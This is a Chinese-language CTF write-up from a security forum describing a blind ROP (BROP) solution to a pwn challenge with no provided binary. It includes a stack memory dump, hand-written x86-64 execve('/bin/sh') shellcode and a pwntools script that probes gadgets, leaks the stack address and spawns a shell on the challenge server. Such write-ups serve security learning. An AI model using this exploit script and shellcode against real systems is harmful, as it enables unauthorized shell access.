-
-
[原创]废土末世 WP
-
2022-5-20 20:23 7571
-
作为一道没有附件的pwn题,选手所有的信息都只能通过与服务器的交互获取,对于出题方的服务器压力应该还是比较大的。不过这次看雪给每个选手提供了一个独立的docker,相比以前有很大提升,有了一个不错的做题体验。
首先在百度上搜索ctf BROP,了解一下BROP的基本知识和做题方法,发现PWN学习总结(七)—— BROP这篇文章不错。参照上面的方法,可以获取栈溢出长度为16,STOP GADGETS为0x4000B0,同时也可以探测到溢出函数的返回地址应该是0x4000CE。可以发现这两个地址距离默认基址0x400000都特别近,初步判断目标程序应该特别简小精悍。
下一步想参照文章里说的搜索BROP GADGETS,但是没有任何结果,于是逐步放宽搜索条件,从6个pop加ret改为5个、4个、3个,发现在合理范围内居然都没搜索到。但是在0x4000F5,0x4000FA,0x4000FB,0x4000FD,0x4000FE,0x400100,0x400102搜索到2个pop加ret,0x400101,0x400106搜索到一个ret(即0xC3)。很明显0x400101和0x400106之间的距离不太像是两个函数的ret,所以我们最终只发现了一个函数的ret。但作为栈溢出题,特别是溢出函数后面需要打印"TNT TNT!\n"字符串,证明这个程序里至少包含主程序和溢出函数两段代码,主程序可以不用ret,但是子函数必须有,所以可以推定0x400106为子函数代码段的结尾。同时由于没有搜索到单个pop加ret的代码,所以子函数平衡堆栈的方式应该是直接修改rsp寄存器,因此得到0x400102处代码为add rsp,10h。
通过设置返回地址的方式仔细搜索0x4000CE至0x400102的内存,发现当地址为0x4000EC,0x4000ED,0x4000EE,0x4000EF,0x4000F2,0x4000F3时虽然也没有任何输出信息,但是返回速度特别慢,通过反复测试发现应该是服务器正在等待输入,当地址设置为0x4000EC时在输入后甚至还返回了一段奇怪的字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | 00000000 61 23 23 23 23 23 23 23 ec 00 40 00 00 00 00 00 │a ###│####│··@·│····│ 00000010 ec 00 40 00 00 00 00 00 36 bf d8 8e ff 7f 00 00 │··@·│····│ 6 ···│····│ 00000020 00 00 00 00 00 00 00 00 3c bf d8 8e ff 7f 00 00 │····│····│<···│····│ 00000030 52 bf d8 8e ff 7f 00 00 5d bf d8 8e ff 7f 00 00 │R···│····│]···│····│ 00000040 9f bf d8 8e ff 7f 00 00 [ad bf d8 8e ff 7f 00 00 ] │····│····│····│····│stack 00000050 [dd bf d8 8e ff 7f 00 00 ] 00 00 00 00 00 00 00 00 │····│····│····│····│stack 00000060 21 00 00 00 00 00 00 00 [ 00 80 dd 8e ff 7f 00 00 ] │!···│····│····│····│vvar 00000070 10 00 00 00 00 00 00 00 ff fb ab 0f 00 00 00 00 │····│····│····│····│ 00000080 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│ 00000090 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│ 000000a0 03 00 00 00 00 00 00 00 40 00 40 00 00 00 00 00 │····│····│@·@·│····│ 000000b0 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│ 8 ···│····│ 000000c0 05 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 │····│····│····│····│ 000000d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000f0 09 00 00 00 00 00 00 00 [b0 00 40 00 ] 00 00 00 00 │····│····│··@·│····│entry point 00000100 0b 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000110 0c 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000120 0d 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000130 0e 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│ 00000140 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000150 19 00 00 00 00 00 00 00 [c9 a0 d8 8e ff 7f 00 00 ] │····│····│····│····│stack 00000160 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000170 1f 00 00 00 00 00 00 00 f2 bf d8 8e ff 7f 00 00 │····│····│····│····│ 00000180 0f 00 00 00 00 00 00 00 d9 a0 d8 8e ff 7f 00 00 │····│····│····│····│ 00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000001a0 00 00 00 00 00 00 00 00 00 a8 74 8e 80 3d 82 7c │····│····│··t·│· = ·|│ 000001b0 d3 d8 b4 ba 0a dd bb 41 a1 78 38 36 5f 36 34 00 │····│···A│·x86│_64·│ 000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ |
通过比对本地程序的运行内存状态,可以发现输出内容就是目标程序的当前栈。其中0x4000b0作为entry point也得到了确认。但是这段内存既没有libc的地址,本该是ld地址的地方也被设置成了0。因此也没有办法通过跳转到程序外进行探测。这段内存里leak的唯一有用信息就是stack地址,而且通过0x188处的指针应该指向0x1b9处的“x86_64”可以完全确定当前0x00处对应的内存地址。
确定栈的地址后,我们就可以将返回地址设置到栈上的任意地方,考虑到这个程序实在太短,很难设置太复杂的get shell方式;同时考虑到这个程序既然连栈溢出这么简单的漏洞都有,那么加上一个栈上可执行应该不算太过分。
在简单的验证了mov rax,0x4000B0;jmp rax可以执行后,就开始了漫长的找shellcode之旅。本以为这样的shellcode百度上到处都是,没想到不是32位的就是windows的,或者是各种异型编程或者是编译不通过,一直就用不了。只好重新学习了一下linux下64位的系统调用原理,自己按照说明老老实实写了一个。
下面附上获取tnt文件的代码,最后发现获取的整个文件居然只有1104字节,可以说设计得非常精妙:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | #-*- coding: utf-8 -*- from pwn import * #from LibcSearcher import LibcSearcher context.log_level = 'debug' #context.arch = 'i386'/'amd64' ip = "127.0.0.1" port = 10062 buf_length = 16 def GetBropGadgets(buf_length, stop_gadgets, address): try : sh = remote(ip, port) sh.recvuntil( "hacker, TNT!\n" ) #寻找 pop_rbx_rbp_r12_r13_r14_r15_ret payload = 'a' * buf_length + p64(address) + p64( 0 ) * 1 + p64(stop_gadgets) sh.send(payload) output = sh.recv(timeout = 1 ) sh.close() if not output.startswith( 'hacker, TNT!' ): return False return True except Exception: sh.close() return False def check(buf_length, address): try : sh = remote(ip, port) sh.recvuntil( "hacker, TNT!\n" ) payload = 'a' * buf_length + p64(address) + p64( 0 ) * 2 sh.send(payload) output = sh.recv(timeout = 1 ) sh.close() return False except Exception: sh.close() return True def GetStopAddr(): address = 0x4000b0 while 1 : print ( hex (address)) try : sh = remote(ip, port) sh.recvuntil( "hacker, TNT!\n" ) payload = 'a' * buf_length + p64(address) sh.send(payload) output = sh.recv() #未成功返回到main函数头部开始执行 if not output.startswith( 'hacker, TNT!' ): sh.close() address + = 1 else : return address #触发栈溢出异常 except EOFError: address + = 1 sh.close() shellcode = ''' /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push '/bin///shx00' */ mov rax,0x0068732F6E69622F push rax mov rdi, rsp mov rax, 0x3b xor rsi,rsi xor rdx,rdx syscall''' shellcode = asm(shellcode,arch = 'amd64' ,os = 'linux' ) sh = remote(ip, port) sh.recvuntil( "hacker, TNT!\n" ) #payload = 'A'*buf_length + p64(0x4000ec) + p64(0x4000ec) + p64(0x4000B0) * 1 + p64(0x004000CEC0C74890) + p64(0x909090E0FF909090)# + 'b' * 8# + p64(0) + p64(0) + p64(0x4000B0) payload = 'A' * buf_length + p64( 0x4000ec ) + p64( 0x4000ec ) + p64( 0x4000B0 ) * 1 + shellcode sh.send(payload) sleep( 2 ) sh.send( 'A' ) sh.recv( 0x188 ) addr = u64(sh.recv( 8 )) - 0x1B9 print hex (addr) #sh.recvuntil("hacker, TNT!\n") #payload = '#'*buf_length + p64(addr) #payload = 'B'*buf_length + p64(0x4000B0) payload = 'B' * buf_length + p64(addr + 0x20 ) sh.send(payload) #sh.send(payload) #raw_input("Enter your input: ") #sh.send(p64(0x4000ec)) #sleep(1) #sh.send(p64(0x4000ec)) sh.sendline( "ls -l" ) sh.recvuntil( "tnt\n" ) sh.sendline( "cat tnt" ) p = sh.recv() file_handle = open ( '/home/ctf/下载/tnt' ,mode = 'wb' ) file_handle.write(p) file_handle.close() sh.interactive() ''' print sh.recv() sh.close() buf_length = 16 address = 0x400000 stop_gadgets = 0x4000B0 #stop_gadgets = GetStopAddr() print('stop gadgets = 0x%x' % stop_gadgets) while 1: print(hex(address)) if GetBropGadgets(buf_length, stop_gadgets, address): print('possible brop gadget: 0x%x' % address) if check(buf_length, address): print('success brop gadget: 0x%x' % address) break address += 1 ''' |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界